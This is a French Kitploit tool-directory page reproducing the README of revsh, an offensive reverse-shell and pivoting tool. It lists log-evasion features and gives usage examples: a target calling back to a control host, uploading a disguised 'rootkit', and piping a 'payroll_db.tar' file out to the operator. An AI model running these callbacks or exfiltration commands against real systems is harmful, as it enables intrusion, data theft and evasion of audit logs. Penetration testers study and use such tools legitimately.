Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
revsh — Un reverse shell avec support de terminal, tunneling de données et capacités de pivotement avancées. | Kitploit
Outils/GitHubGitHub/emptymonkey/revsh
Outils de Chiffrement/DéchiffrementCartographie RéseauÉvasion IDS/IPSMouvement LatéralPost-ExploitationTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à Distance
GitHubemptymonkey/revsh

revsh

Un reverse shell avec support de terminal, tunneling de données et capacités de pivotement avancées.

46992il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

revsh

revsh est un outil permettant d'établir des reverse shells avec support terminal, des VPNs inversés pour pivotement avancé, ainsi que du tunneling de données arbitraires.

Actualités

  • 2018-08-09 : Nouvelle version. Principalement des corrections de bugs / stabilité et une meilleure documentation sur le processus de construction avec OpenSSL 1.1.0. Consultez la section Installation ci-dessous pour les instructions de construction mises à jour.

Aperçu

Qu'est-ce qu'un « reverse shell » ?

Un reverse shell est une connexion réseau qui accorde un accès shell à un hôte distant. Contrairement à d'autres outils de connexion à distance tels que telnet et ssh, un reverse shell est initié par l'hôte distant. Cette technique de connexion sortante depuis le réseau distant permet de contourner les pare-feux configurés pour bloquer uniquement les connexions entrantes.

Qu'est-ce qu'un « VPN inversé » ?

revsh est capable d'attacher une carte Ethernet virtuelle (tun/tap) aux deux extrémités de son tunnel crypté. Ces cartes peuvent ensuite être utilisées pour transférer des paquets IP bruts ou des trames Ethernet. Combiné à une règle NAT Iptables, ou au pontage d'une carte Ethernet réelle, cela permet à l'opérateur de recevoir une adresse IP entièrement routable sur le réseau de la machine cible. Il s'agit essentiellement d'un VPN complet qui a effectué un appel de rappel vers l'opérateur pour contourner le filtrage des paquets entrants et accorder à l'opérateur un accès réseau complet. (Voir "Documentation/REVERSE_VPN.md" pour plus d'informations.)

Qu'est-ce qu'un « bind shell » ?

Un bind shell est un shell servi depuis une connexion réseau normale et directe. revsh supporte à la fois les reverse shells et les bind shells. Pour invoquer un bind shell, vous pouvez soit utiliser l'option -b aux deux extrémités de la connexion, soit invoquer le binaire sous le nom 'bindsh'.

Ne puis-je pas simplement utiliser netcat ?

Il existe de nombreuses techniques pour établir un reverse shell, mais ces méthodes n'offrent pas de support terminal. revsh permet d'avoir un reverse shell dont la connexion est gérée par un pseudo-terminal, et permet ainsi des fonctionnalités telles que :

  • contrôle des tâches
  • traitement des caractères de contrôle (par ex. Ctrl-C)
  • auto-complétion
  • support des programmes nécessitant un tty de contrôle (par ex. vi)
  • traitement des événements de redimensionnement de fenêtre

De plus, revsh offre également les fonctionnalités suivantes :

  • Support UTF-8.
  • Contourne utmp / wtmp. (Aucune connexion enregistrée.)
  • Exécute les commandes du fichier rc lors de la connexion pour faciliter l'écriture de scripts.
  • Cryptage OpenSSL avec authentification par clé intégrée dans le binaire.
  • Cryptage Diffie-Hellman anonyme sur demande.
  • Cryptage Diffie-Hellman éphémère par défaut. (Maintenant avec plus de Perfect Forward Secrecy !)
  • Épinglage de certificat pour protection contre les sinkholes et la contre-intrusion mitm.
  • Délai d'expiration de connexion pour l'auto-terminaison du processus distant.
  • Temporisateurs de tentative aléatoires pour une reconnexion non prévisible.
  • Courtage de données non interactif de style Netcat pour le transfert de fichiers.
  • Support proxy : point à point, SOCKS 4, SOCKS 4a et SOCKS 5. Les proxies sont disponibles dans les deux sens pour une flexibilité totale.
  • Support TUN / TAP pour le transfert de paquets IP bruts / trames Ethernet.
  • Commandes de séquence d'échappement pour tuer les nœuds non réactifs, ou afficher les statistiques de connexion.

revsh est conçu comme un outil supplémentaire pour la trousse à outils d'un pentester qui fournit l'ensemble complet des fonctionnalités terminales à travers un tunnel crypté.

Où puis-je utiliser revsh ?

revsh a été développé sur Linux x86_64. Voici une brève liste des combinaisons Arch / OS sur lesquelles il a été utilisé :

  • x86_64 Linux
  • i686 Linux
  • amd64 FreeBSD

(Si vous avez utilisé revsh avec succès sur une autre plateforme, envoyez-moi un message et je l'ajouterai à la liste.)

Utilisation

root@kitploit:~
empty@monkey:~$ revsh -h

Control:	revsh -c [CONTROL_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
Target:		revsh     [TARGET_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]

	ADDRESS		The address of the control listener.		(Default is "0.0.0.0".)
	PORT		The port of the control listener.		(Default is "2200".)

CONTROL_OPTIONS:
	-c		Run in "command and control" mode.		(Default is target mode.)
	-a		Enable Anonymous Diffie-Hellman mode.		(Default is Ephemeral Diffie-Hellman.)
	-d KEYS_DIR	Reference the keys in an alternate directory.	(Default is "~/.revsh/keys/".)
	-f RC_FILE	Reference an alternate rc file.			(Default is "~/.revsh/rc".)
	-s SHELL	Invoke SHELL as the remote shell.		(Default is "/bin/bash".)
	-F LOG_FILE	Log general use and errors to LOG_FILE.		(No default set.)

TARGET_OPTIONS:
	-t SEC		Set the connection timeout to SEC seconds.	(Default is "3600".)
	-r SEC1,SEC2	Set the retry time to be SEC1 seconds, or	(Default is "600,1200".)
			to be random in the range from SEC1 to SEC2.

MUTUAL_OPTIONS:
	-k		Run in keep-alive mode.
			Node will neither exit normally, nor timeout.
	-L [LHOST:]LPORT:RHOST:RPORT
			Static socket forwarding with a local listener
			at LHOST:LPORT forwarding to RHOST:RPORT.
	-R [RHOST:]RPORT:LHOST:LPORT
			Static socket forwarding with a remote listener
			at RHOST:RPORT forwarding to LHOST:LPORT.
	-D [LHOST:]LPORT
			Dynamic socket forwarding with a local listener
			at LHOST:LPORT.					(Socks 4, 4a, and 5. TCP connect only.)
	-B [RHOST:]RPORT
			Dynamic socket forwarding with a remote
			listener at LHOST:LPORT.			(Socks 4, 4a, and 5. TCP connect only.)
	-x		Disable automatic setup of proxies.		(Defaults: Proxy D2280 and tun/tap devices.)
	-b		Start in bind shell mode.			(Default is reverse shell mode.)
			The -b flag must be invoked on both ends.
	-n		Non-interactive netcat style data broker.	(Default is interactive w/remote tty.)
			No tty. Useful for copying files.
	-v		Verbose. -vv and -vvv increase verbosity.
	-V		Print the program and protocol versions.
	-h		Print this help.
	-e		Print out some usage examples.

Installation

Tout d'abord, vous devrez compiler OpenSSL à partir des sources. (Voir NOTE ci-dessous.)

root@kitploit:~
git clone https://github.com/openssl/openssl.git
cd openssl/
./config no-shared -static	# These options are needed to build static applications against OpenSSL.
make && make test	# We skip "make install" so we don't conflict with your systems default OpenSSL. We will build _revsh_ against the OpenSSL we just compiled in this tree.
cd ..

Maintenant, compilez revsh.

root@kitploit:~
git clone https://github.com/emptymonkey/revsh.git
cd revsh
vi config.h        # Set up new defaults that fit your situation.
vi Makefile        # Check that the selected build environment is the one you want. (It probably already is by default.)
make               # This *can* take a very long time, though it usually doesn't.
make install
vi ~/.revsh/rc     # Add your favorite startup commands to really customize the feel of your remote shell.
revsh -h

NOTE : Avec la sortie d'OpenSSL 1.1.0, OpenSSL doit être compilé à partir des sources pour être utilisé dans un binaire lié statiquement. Compiler un binaire lié statiquement avec les bibliothèques OpenSSL fournies par la plupart des distributions Linux (y compris Kali) ne fonctionnera pas. (S'il compile, il plantera (SEGFAULT).)

Exemples

Adresse IP exemple de l'hôte de contrôle : 192.168.0.42
Adresse IP exemple de l'hôte cible : 192.168.0.66

root@kitploit:~
Interactive example on default port '2200':
	control:	revsh -c
	target:		revsh 192.168.0.42

Interactive example on non-standard port '443':
	control:	revsh -c 192.168.0.42:443
	target:		revsh 192.168.0.42:443

Bindshell example:
	target:		revsh -b
	control:	revsh -c -b 192.168.0.66

Non-interactive file upload example:
	control:	cat ~/bin/rootkit | revsh -c -n
	target:		revsh 192.168.0.42 > ./totally_not_a_rootkit

Non-interactive file download example:
	control:	revsh -c -n >payroll_db.tar
	target:		cat payroll_db.tar | revsh 192.168.0.42

Non-interactive file download example across existing tunnel:
	control:	revsh -c -n 127.0.0.1:2291 >payroll_db.tar
	target:		cat payroll_db.tar | revsh 127.0.0.1:2290
Télécharger l’outil